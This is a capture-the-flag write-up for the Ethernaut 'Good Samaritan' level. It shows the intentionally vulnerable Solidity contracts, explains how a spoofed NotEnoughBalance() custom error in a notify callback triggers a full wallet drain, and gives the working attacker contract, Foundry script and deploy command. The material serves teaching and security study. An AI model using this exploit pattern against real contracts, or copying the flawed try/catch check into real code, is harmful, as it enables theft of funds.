The Ethernaut CTF Solutions | 27 - Good Samaritan
Thanks for the Notif: Manipulating Custom Errors to Exploit Good Intentions
Table of contents
Goals
The Contract
A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import {Address} from "../helpers/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
keccak256(err)
) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
The hack
We are given three contracts in the GoodSamaritan
level:
GoodSamaritan - The contract in charge of distributing the donations.
Coin - A very minimalist token implementation handling the users' balances.
Wallet - The wallet belonging to this good old sama.
How to drain the good old Sama's wallet?
Let's check the GoodSamaritan::requestDonation
function:
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
From there, we can either:
request 10 coins many, many, many times, or...
try to find a way to trigger the
transferRemainder
function to withdraw everything at once.
So, because we are lazy, let's try to withdraw everything at once!
The transferRemainder()
function is protected by the onlyOwner
modifier, so the only way to trigger it is by reverting with the NotEnoughBalance()
custom error.
So what happens exactly when we request a donation? The Wallet::donnate10()
function is called:
function donate10(address dest_) external onlyOwner {
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
coin.transfer(dest_, 10);
}
}
This function reverts with the NotEnoughBalance()
error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the Coin::transfer
function.
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
This custom transfer()
function is interesting because it calls the INotifyable::notify
function if the destination address is a contract. And this relies on the INotifyable
interface. So what if we implement the INotifyable
interface to revert to the NotEnoughBalance()
error if we receive 10 coins?
So the flow would be like this:
GoodSamaritan::requestDonation()
Wallet::donate10()
Coin::transfer()
INotifyable::notify()
ThanksForTheNotif::revert NotEnoughBalance()
wallet::transferRemainder()
Yes, that's right, a custom error thrown in a catch block from a try/catch can be thrown by any other contract since they are identified by their 4-byte selector!
There we have it. Upon receiving the notification from the donation, our contract will trigger a revert with the same custom error, which will have the same 4-byte selector, and pass the check in the requestDonation()
function, triggering the wallet.transferRemainder(msg.sender)
function.
Since custom errors are cheaper in gas than their require()
alternatives, they have become best practice and this kind of hack in try/catch block might become more common.
Solution
Here is the ThanksForTheNotif
contract that will do just that for us:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface INotifyable {
function notify(uint256 amount) external;
}
interface IGoodOldSama {
function coin() external returns (address);
function wallet() external returns (address);
function requestDonation() external returns (bool);
}
interface ICoin {
function balances(address user) external view returns (uint256);
}
contract ThanksForTheNotif {
IGoodOldSama private goodOldSama;
ICoin private coin;
address private wallet;
error NotEnoughBalance();
constructor(address _goodOldSama) {
goodOldSama = IGoodOldSama(_goodOldSama);
coin = ICoin(goodOldSama.coin());
wallet = goodOldSama.wallet();
}
function notify(uint256 amount) public pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
function attack() public {
goodOldSama.requestDonation();
require(coin.balances(wallet) == 0, "Attack failed!");
}
}
Now, let's write a quick deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {ThanksForTheNotif} from "../src/27_GoodSamaritan.sol";
contract PoC is Script {
// Replace with your GoodSamaritan instance
address goodOldSama = 0x19bd36accED359007B00Baf460Eb07045c3396BD;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
ThanksForTheNotif thanksForTheNotif = new ThanksForTheNotif(
goodOldSama
);
thanksForTheNotif.attack();
vm.stopBroadcast();
}
}
The command to run the script:
forge script script/27_GoodSamaritan.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
- Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/